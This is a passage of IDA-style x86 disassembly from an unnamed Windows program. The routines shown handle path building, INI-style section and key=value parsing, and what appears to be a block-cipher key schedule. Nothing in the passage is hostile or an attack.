; FUNCTION CHUNK AT 00492A9F SIZE 00000043 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F3E8
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_34], edx
		mov	[ebp+var_30], ecx
		push	[ebp+var_34]
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		push	[ebp+var_30]
		call	sub_49253F
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	loc_492A9F
		cmp	[ebp+arg_0], 0
		jz	short loc_492A9F
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	[ebp+var_30]
		call	sub_49A2CA
		pop	ecx
		pop	ecx
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		mov	edx, edi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		dec	edi
		mov	ecx, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	[ebp+var_24], edx
		and	[ebp+var_4], 0
		push	[ebp+var_34]
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		push	[ebp+var_24]
		call	sub_49253F
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_492A8F
		jmp	short loc_492A9F
sub_4929D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_492A8F	proc near		; CODE XREF: sub_4929D2+B6p
					; DATA XREF: _5:0049F3F0o
		mov	eax, [ebp-24h]
		mov	[ebp-28h], eax
		push	dword ptr [ebp-28h]
		call	sub_4993DD
		pop	ecx
		retn
sub_492A8F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4929D2

loc_492A9F:				; CODE XREF: sub_4929D2+43j
					; sub_4929D2+4Dj ...
		cmp	[ebp+var_1C], 0
		jz	short loc_492AB2
		movzx	eax, [ebp+var_20]
		test	eax, eax
		jnz	short loc_492AB2
		mov	eax, [ebp+var_1C]
		jmp	short loc_492AD1
; ---------------------------------------------------------------------------

loc_492AB2:				; CODE XREF: sub_4929D2+D1j
					; sub_4929D2+D9j
		cmp	[ebp+var_34], 0
		jz	short loc_492ACF
		cmp	[ebp+var_1C], 0
		jz	short loc_492ACF
		mov	eax, [ebp+var_34]
		mov	eax, [eax]
		mov	[ebp+var_2C], eax
		push	[ebp+var_2C]
		call	sub_4993DD
		pop	ecx

loc_492ACF:				; CODE XREF: sub_4929D2+E4j
					; sub_4929D2+EAj
		xor	eax, eax

loc_492AD1:				; CODE XREF: sub_4929D2+DEj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; END OF FUNCTION CHUNK	FOR sub_4929D2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_492AE2	proc near		; CODE XREF: sub_49681E+24p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_28], edx
		mov	[ebp+var_24], ecx
		and	[ebp+var_8], 0
		cmp	[ebp+var_24], 0
		jz	loc_492BBB
		mov	eax, [ebp+var_24]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jz	loc_492BBB
		mov	eax, [ebp+var_24]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Fh
		jz	loc_492BBB
		mov	eax, [ebp+var_24]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Ah
		jz	loc_492BBB
		mov	edi, [ebp+var_24]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_14], ecx
		mov	eax, ds:dword_4A2908
		add	eax, 10h
		mov	ecx, ds:dword_4A2908
		mov	ecx, [ecx+0C10h]
		sub	ecx, eax
		mov	[ebp+var_10], ecx
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	eax, [ebp+var_14]
		lea	eax, [eax+ecx+104h]
		push	eax
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_10]
		mov	esi, ds:dword_4A2908
		add	esi, 10h
		mov	edi, [ebp+var_8]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_14]
		inc	ecx
		mov	esi, [ebp+var_24]
		mov	edi, [ebp+var_8]
		add	edi, [ebp+var_10]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_8]
		mov	[ebp+var_24], eax

loc_492BBB:				; CODE XREF: sub_492AE2+17j
					; sub_492AE2+26j ...
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	[ebp+var_24]
		call	sub_49253F
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_492C41
		cmp	[ebp+arg_0], 0
		jz	short loc_492C41
		cmp	[ebp+var_8], 0
		jnz	short loc_492BFB
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	[ebp+var_24]
		call	sub_49A2CA
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax

loc_492BFB:				; CODE XREF: sub_492AE2+FCj
		mov	edi, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		dec	edi
		mov	ecx, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_8]
		mov	[ebp+var_24], eax
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	[ebp+var_8]
		call	sub_49253F
		mov	[ebp+var_4], eax

loc_492C41:				; CODE XREF: sub_492AE2+F0j
					; sub_492AE2+F6j
		cmp	[ebp+var_4], 0
		jz	short loc_492C90
		movzx	eax, [ebp+var_C]
		test	eax, eax
		jnz	short loc_492C90
		cmp	[ebp+var_28], 0
		jz	short loc_492C7C
		cmp	[ebp+var_8], 0
		jz	short loc_492C63
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2C], eax
		jmp	short loc_492C72
; ---------------------------------------------------------------------------

loc_492C63:				; CODE XREF: sub_492AE2+177j
		push	0
		push	[ebp+var_24]
		call	sub_49A2CA
		pop	ecx
		pop	ecx
		mov	[ebp+var_2C], eax

loc_492C72:				; CODE XREF: sub_492AE2+17Fj
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_2C]
		mov	[eax], ecx
		jmp	short loc_492C8B
; ---------------------------------------------------------------------------

loc_492C7C:				; CODE XREF: sub_492AE2+171j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		push	[ebp+var_1C]
		call	sub_4993DD
		pop	ecx

loc_492C8B:				; CODE XREF: sub_492AE2+198j
		mov	eax, [ebp+var_4]
		jmp	short loc_492CA1
; ---------------------------------------------------------------------------

loc_492C90:				; CODE XREF: sub_492AE2+163j
					; sub_492AE2+16Bj
		mov	eax, [ebp+var_8]
		mov	[ebp+var_20], eax
		push	[ebp+var_20]
		call	sub_4993DD
		pop	ecx
		xor	eax, eax

loc_492CA1:				; CODE XREF: sub_492AE2+1ACj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_492AE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_492CA8	proc near		; CODE XREF: sub_49B7AF+Ap
					; sub_49B7DD+78p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], ecx
		push	0
		push	[ebp+var_8]
		push	0
		push	[ebp+var_4]
		call	sub_49253F
		leave
		retn
sub_492CA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_492CC4	proc near		; CODE XREF: sub_49BC66+2Bp
					; sub_49BD0C+42p ...

var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= byte ptr  20h

; FUNCTION CHUNK AT 004931B6 SIZE 00000012 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F3F8
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 64h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_34], 0
		and	[ebp+var_28], 0
		and	[ebp+var_38], 0
		and	[ebp+var_20], 0
		and	[ebp+var_30], 0
		and	[ebp+var_3C], 0
		and	[ebp+var_24], 0
		and	[ebp+var_48], 0
		and	[ebp+var_40], 0
		and	[ebp+var_44], 0
		and	[ebp+var_4], 0
		mov	ecx, [ebp+arg_10]
		xor	eax, eax
		mov	edi, [ebp+arg_C]
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		push	0
		lea	eax, [ebp+var_2C]
		push	eax
		push	0
		push	0
		push	[ebp+arg_14]
		call	sub_491346
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_2C]
		call	sub_491672
		mov	eax, [ebp+var_28]
		inc	eax
		push	eax
		call	sub_49935A
		pop	ecx
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_64]
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_28]
		inc	ecx
		xor	eax, eax
		mov	edi, [ebp+var_34]
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_34]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_34]
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	0
		push	0
		push	[ebp+var_28]
		push	[ebp+var_34]
		push	[ebp+var_2C]
		call	sub_492177
		mov	eax, [ebp+var_20]
		mov	byte ptr [eax-1], 0Ah
		jmp	short loc_492DAD
; ---------------------------------------------------------------------------

loc_492DA6:				; CODE XREF: sub_492CC4:loc_493184j
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax

loc_492DAD:				; CODE XREF: sub_492CC4+E0j
		mov	eax, [ebp+var_38]
		cmp	eax, [ebp+var_20]
		jz	loc_493189

loc_492DB9:				; CODE XREF: sub_492CC4+486j
					; sub_492CC4+4BBj
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 3Bh
		jnz	short loc_492DF8

loc_492DC4:				; CODE XREF: sub_492CC4+125j
		mov	eax, [ebp+var_38]
		cmp	eax, [ebp+var_20]
		jz	short loc_492DEB
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_492DEB
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_492DEB
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_492DC4
; ---------------------------------------------------------------------------

loc_492DEB:				; CODE XREF: sub_492CC4+106j
					; sub_492CC4+111j ...
		mov	eax, [ebp+var_38]
		cmp	eax, [ebp+var_20]
		jnz	short loc_492DF8
		jmp	loc_493189
; ---------------------------------------------------------------------------

loc_492DF8:				; CODE XREF: sub_492CC4+FEj
					; sub_492CC4+12Dj
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 5Bh
		jnz	short loc_492E16
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_24], 1
		jmp	loc_493184
; ---------------------------------------------------------------------------

loc_492E16:				; CODE XREF: sub_492CC4+13Dj
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 5Dh
		jnz	loc_492EBF

loc_492E25:				; CODE XREF: sub_492CC4+217j
		mov	eax, [ebp+var_38]
		and	byte ptr [eax],	0
		cmp	[ebp+var_24], 1
		jnz	loc_492EBA
		and	[ebp+var_24], 0
		cmp	[ebp+arg_0], 0
		jnz	short loc_492EA0
		mov	eax, [ebp+var_44]
		mov	[ebp+var_4C], eax
		mov	edi, [ebp+var_30]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_54], ecx
		mov	eax, [ebp+arg_10]
		dec	eax
		dec	eax
		sub	eax, [ebp+var_4C]
		mov	[ebp+var_50], eax
		cmp	[ebp+var_50], 0
		jle	short loc_492E9E
		push	[ebp+var_50]
		push	[ebp+var_30]
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+var_4C]
		push	eax
		call	sub_48D770
		add	esp, 0Ch
		mov	eax, [ebp+var_50]
		cmp	eax, [ebp+var_54]
		jle	short loc_492E8B
		mov	eax, [ebp+var_54]
		mov	[ebp+var_74], eax
		jmp	short loc_492E91
; ---------------------------------------------------------------------------

loc_492E8B:				; CODE XREF: sub_492CC4+1BDj
		mov	eax, [ebp+var_50]
		mov	[ebp+var_74], eax

loc_492E91:				; CODE XREF: sub_492CC4+1C5j
		mov	eax, [ebp+var_74]
		mov	ecx, [ebp+var_4C]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_44], eax

loc_492E9E:				; CODE XREF: sub_492CC4+1A0j
		jmp	short loc_492EBA
; ---------------------------------------------------------------------------

loc_492EA0:				; CODE XREF: sub_492CC4+179j
		push	[ebp+var_30]
		push	[ebp+arg_0]
		call	ds:dword_4A27C0	; lstrcmpi
		test	eax, eax
		jnz	short loc_492EB6
		mov	[ebp+var_48], 1
		jmp	short loc_492EBA
; ---------------------------------------------------------------------------

loc_492EB6:				; CODE XREF: sub_492CC4+1EAj
		and	[ebp+var_48], 0

loc_492EBA:				; CODE XREF: sub_492CC4+16Bj
					; sub_492CC4:loc_492E9Ej ...
		jmp	loc_493184
; ---------------------------------------------------------------------------

loc_492EBF:				; CODE XREF: sub_492CC4+15Bj
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_492ED5
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_492EEC

loc_492ED5:				; CODE XREF: sub_492CC4+204j
		cmp	[ebp+var_24], 1
		jnz	short loc_492EE0
		jmp	loc_492E25
; ---------------------------------------------------------------------------

loc_492EE0:				; CODE XREF: sub_492CC4+215j
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_3C], eax
		jmp	loc_493184
; ---------------------------------------------------------------------------

loc_492EEC:				; CODE XREF: sub_492CC4+20Fj
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 3Dh
		jnz	loc_493184
		cmp	[ebp+arg_0], 0
		jz	loc_493151
		mov	eax, [ebp+var_38]
		mov	byte ptr [eax],	20h

loc_492F0B:				; CODE XREF: sub_492CC4+266j
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax-1]
		cmp	eax, 9
		jz	short loc_492F23
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax-1]
		cmp	eax, 20h
		jnz	short loc_492F2C

loc_492F23:				; CODE XREF: sub_492CC4+251j
		mov	eax, [ebp+var_38]
		dec	eax
		mov	[ebp+var_38], eax
		jmp	short loc_492F0B
; ---------------------------------------------------------------------------

loc_492F2C:				; CODE XREF: sub_492CC4+25Dj
		mov	eax, [ebp+var_38]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax

loc_492F39:				; CODE XREF: sub_492CC4+292j
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 9
		jz	short loc_492F4F
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_492F58

loc_492F4F:				; CODE XREF: sub_492CC4+27Ej
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_492F39
; ---------------------------------------------------------------------------

loc_492F58:				; CODE XREF: sub_492CC4+289j
		cmp	[ebp+arg_4], 0
		jnz	loc_4930A1
		movzx	eax, [ebp+var_48]
		test	eax, eax
		jz	loc_49309C
		mov	eax, [ebp+var_44]
		mov	[ebp+var_58], eax
		mov	edi, [ebp+var_3C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_60], ecx
		mov	eax, [ebp+arg_10]
		dec	eax
		dec	eax
		sub	eax, [ebp+var_58]
		mov	[ebp+var_6C], eax
		mov	eax, [ebp+var_6C]
		cmp	eax, [ebp+var_60]
		jge	short loc_492F9F
		mov	eax, [ebp+var_6C]
		mov	[ebp+var_78], eax
		jmp	short loc_492FA5
; ---------------------------------------------------------------------------

loc_492F9F:				; CODE XREF: sub_492CC4+2D1j
		mov	eax, [ebp+var_60]
		mov	[ebp+var_78], eax

loc_492FA5:				; CODE XREF: sub_492CC4+2D9j
		mov	eax, [ebp+var_78]
		mov	[ebp+var_5C], eax
		cmp	[ebp+var_5C], 0
		jle	short loc_492FD4
		mov	ecx, [ebp+var_5C]
		mov	esi, [ebp+var_3C]
		mov	edi, [ebp+arg_C]
		add	edi, [ebp+var_58]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_58]
		add	eax, [ebp+var_5C]
		mov	[ebp+var_58], eax

loc_492FD4:				; CODE XREF: sub_492CC4+2EBj
		mov	eax, [ebp+var_38]
		mov	[ebp+var_3C], eax

loc_492FDA:				; CODE XREF: sub_492CC4+33Cj
		mov	eax, [ebp+var_20]
		dec	eax
		cmp	[ebp+var_38], eax
		jz	short loc_493002
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_493002
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_493002
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_492FDA
; ---------------------------------------------------------------------------

loc_493002:				; CODE XREF: sub_492CC4+31Dj
					; sub_492CC4+328j ...
		movzx	eax, [ebp+arg_18]
		test	eax, eax
		jz	loc_49308E
		mov	eax, [ebp+arg_10]
		dec	eax
		dec	eax
		cmp	[ebp+var_58], eax
		jnb	short loc_493028
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+var_58]
		mov	byte ptr [eax],	3Dh
		mov	eax, [ebp+var_58]
		inc	eax
		mov	[ebp+var_58], eax

loc_493028:				; CODE XREF: sub_492CC4+352j
		mov	eax, [ebp+var_38]
		and	byte ptr [eax],	0
		mov	edi, [ebp+var_3C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_60], ecx
		mov	eax, [ebp+arg_10]
		dec	eax
		dec	eax
		sub	eax, [ebp+var_58]
		mov	[ebp+var_70], eax
		mov	eax, [ebp+var_70]
		cmp	eax, [ebp+var_60]
		jge	short loc_493059
		mov	eax, [ebp+var_70]
		mov	[ebp+var_7C], eax
		jmp	short loc_49305F
; ---------------------------------------------------------------------------

loc_493059:				; CODE XREF: sub_492CC4+38Bj
		mov	eax, [ebp+var_60]
		mov	[ebp+var_7C], eax

loc_49305F:				; CODE XREF: sub_492CC4+393j
		mov	eax, [ebp+var_7C]
		mov	[ebp+var_5C], eax
		cmp	[ebp+var_5C], 0
		jle	short loc_49308E
		mov	ecx, [ebp+var_5C]
		mov	esi, [ebp+var_3C]
		mov	edi, [ebp+arg_C]
		add	edi, [ebp+var_58]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_58]
		add	eax, [ebp+var_5C]
		mov	[ebp+var_58], eax

loc_49308E:				; CODE XREF: sub_492CC4+344j
					; sub_492CC4+3A5j
		mov	eax, [ebp+var_58]
		inc	eax
		mov	[ebp+var_44], eax
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_3C], eax

loc_49309C:				; CODE XREF: sub_492CC4+2A4j
		jmp	loc_49314F
; ---------------------------------------------------------------------------

loc_4930A1:				; CODE XREF: sub_492CC4+298j
		push	[ebp+var_3C]
		push	[ebp+arg_4]
		call	ds:dword_4A27C0	; lstrcmpi
		test	eax, eax
		jnz	short loc_49311C
		movzx	eax, [ebp+var_48]
		test	eax, eax
		jz	short loc_49311C
		mov	eax, [ebp+var_38]
		mov	[ebp+var_3C], eax

loc_4930BF:				; CODE XREF: sub_492CC4+421j
		mov	eax, [ebp+var_20]
		dec	eax
		cmp	[ebp+var_38], eax
		jz	short loc_4930E7
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_4930E7
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_4930E7
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_4930BF
; ---------------------------------------------------------------------------

loc_4930E7:				; CODE XREF: sub_492CC4+402j
					; sub_492CC4+40Dj ...
		mov	eax, [ebp+var_38]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_10]
		dec	eax
		push	eax
		push	[ebp+var_3C]
		push	[ebp+arg_C]
		call	sub_48D770
		add	esp, 0Ch
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+arg_10]
		and	byte ptr [eax-1], 0
		mov	edi, [ebp+arg_C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_44], ecx
		jmp	short loc_493189
; ---------------------------------------------------------------------------

loc_49311C:				; CODE XREF: sub_492CC4+3EBj
					; sub_492CC4+3F3j ...
		mov	eax, [ebp+var_20]
		dec	eax
		cmp	[ebp+var_38], eax
		jz	short loc_493144
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_493144
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_493144
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_49311C
; ---------------------------------------------------------------------------

loc_493144:				; CODE XREF: sub_492CC4+45Fj
					; sub_492CC4+46Aj ...
		mov	eax, [ebp+var_38]
		mov	[ebp+var_3C], eax
		jmp	loc_492DB9
; ---------------------------------------------------------------------------

loc_49314F:				; CODE XREF: sub_492CC4:loc_49309Cj
		jmp	short loc_493184
; ---------------------------------------------------------------------------

loc_493151:				; CODE XREF: sub_492CC4+23Bj
					; sub_492CC4+4B3j
		mov	eax, [ebp+var_20]
		dec	eax
		cmp	[ebp+var_38], eax
		jz	short loc_493179
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_493179
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_493179
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_493151
; ---------------------------------------------------------------------------

loc_493179:				; CODE XREF: sub_492CC4+494j
					; sub_492CC4+49Fj ...
		mov	eax, [ebp+var_38]
		mov	[ebp+var_3C], eax
		jmp	loc_492DB9
; ---------------------------------------------------------------------------

loc_493184:				; CODE XREF: sub_492CC4+14Dj
					; sub_492CC4:loc_492EBAj ...
		jmp	loc_492DA6
; ---------------------------------------------------------------------------

loc_493189:				; CODE XREF: sub_492CC4+EFj
					; sub_492CC4+12Fj ...
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_493194
		jmp	short loc_4931B6
sub_492CC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_493194	proc near		; CODE XREF: sub_492CC4+4C9p
					; DATA XREF: _5:0049F400o
		mov	eax, [ebp-34h]
		mov	[ebp-68h], eax
		push	dword ptr [ebp-68h]
		call	sub_4993DD
		pop	ecx
		cmp	dword ptr [ebp-2Ch], 0FFFFFFFFh
		jz	short locret_4931B5
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [ebp-2Ch]
		call	sub_491741

locret_4931B5:				; CODE XREF: sub_493194+13j
		retn
sub_493194	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_492CC4

loc_4931B6:				; CODE XREF: sub_492CC4+4CEj
		mov	eax, [ebp+var_44]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_492CC4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+8]
		mov	ecx, [ebp-4]
		call	sub_4931F3
		mov	eax, [ebp-4]
		add	eax, 68h
		push	eax
		push	dword ptr [ebp-4]
		mov	ecx, [ebp-4]
		call	sub_49329B
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4931F3	proc near		; CODE XREF: _4:004931D8p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], ecx
		and	[ebp+var_8], 0
		jmp	short loc_493209
; ---------------------------------------------------------------------------

loc_493202:				; CODE XREF: sub_4931F3+40j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_493209:				; CODE XREF: sub_4931F3+Dj
		cmp	[ebp+var_8], 8
		jge	short loc_493235
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		shl	eax, 8
		mov	ecx, [ebp+arg_0]
		movzx	ecx, byte ptr [ecx+1]
		add	eax, ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		mov	[edx+ecx*2], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		jmp	short loc_493202
; ---------------------------------------------------------------------------

loc_493235:				; CODE XREF: sub_4931F3+1Aj
		and	[ebp+var_4], 0
		jmp	short loc_493242
; ---------------------------------------------------------------------------

loc_49323B:				; CODE XREF: sub_4931F3+A2j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_493242:				; CODE XREF: sub_4931F3+46j
		cmp	[ebp+var_8], 34h
		jge	short locret_493297
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, 7
		mov	ecx, [ebp+arg_4]
		movzx	eax, word ptr [ecx+eax*2]
		shl	eax, 9
		mov	ecx, [ebp+var_4]
		inc	ecx
		and	ecx, 7
		mov	edx, [ebp+arg_4]
		movzx	ecx, word ptr [edx+ecx*2]
		sar	ecx, 7
		or	eax, ecx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		mov	[edx+ecx*2+0Eh], ax
		mov	eax, [ebp+var_4]
		and	eax, 8
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*2]
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+var_4]
		and	eax, 7
		mov	[ebp+var_4], eax
		jmp	short loc_49323B
; ---------------------------------------------------------------------------

locret_493297:				; CODE XREF: sub_4931F3+53j
		leave
		retn	8
sub_4931F3	endp


